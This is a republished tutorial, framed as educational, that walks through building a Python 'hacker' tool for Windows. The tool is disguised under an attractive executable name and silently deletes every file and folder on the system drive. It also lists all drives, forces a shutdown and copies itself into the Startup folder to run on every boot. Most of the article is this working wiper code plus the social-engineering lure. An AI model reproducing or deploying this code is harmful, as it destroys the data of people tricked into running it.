Create a Simple Python System Hijacker: Step‑by‑Step Tutorial
This article walks through using Python's os and shutil modules to obtain the system drive, list and delete files, create a startup entry, and force a Windows shutdown, illustrating a lightweight, educational example of a hacking‑style tool.
Introduction
With the rise of the information age, many people are curious about hacking and want to use the virtual network to do interesting things. This tutorial shows how to use Python to create a simple “hacker” tool that can obtain the system drive, list directories, delete files, and shut down the computer.
Project Goal
Demonstrate the most basic method of achieving auto‑run on boot by adding a file to the startup folder (registry method omitted).
Preparation
Write the code with Sublime Text 3 and execute step by step.
Implementation Steps
Use social engineering to choose an attractive exe name; the program does nothing visible when clicked.
Obtain the system drive letter using os.getenv('SystemDrive').
import os
print(os.getenv('SystemDrive'))Print the directory tree of the drive and save it to 1.txt.
aa = os.getenv('SystemDrive')
os.chdir(aa + '\\')
os.system('tree>>1.txt')Delete all files and folders on the drive using os.walk with os.remove and os.rmdir.
for root, dirs, files in os.walk(path, topdown=False):
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))Enumerate all disk letters.
import os, string
def get_pan():
disk_list = []
for p in string.ascii_uppercase:
disk = p + ':'
if os.path.isdir(disk):
disk_list.append(disk)
return disk_list
print(get_pan())After file operations, force the computer to shut down. os.popen('shutdown /f /sg') Copy the script to the startup directory and optionally package it as an executable with pyinstaller, then launch it via a simple bat file.
import shutil
shutil.copyfile('gc.py', r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\gc1.py')
# bat content: start gc.exeConclusion
The article demonstrates how to use Python’s standard library (os, shutil, time) and basic Windows commands to obtain drive information, delete files, create a startup entry, and shut down the system, providing a lightweight example of a “hacker” tool for learning purposes.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Python Crawling & Data Mining
Life's short, I code in Python. This channel shares Python web crawling, data mining, analysis, processing, visualization, automated testing, DevOps, big data, AI, cloud computing, machine learning tools, resources, news, technical articles, tutorial videos and learning materials. Join us!
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
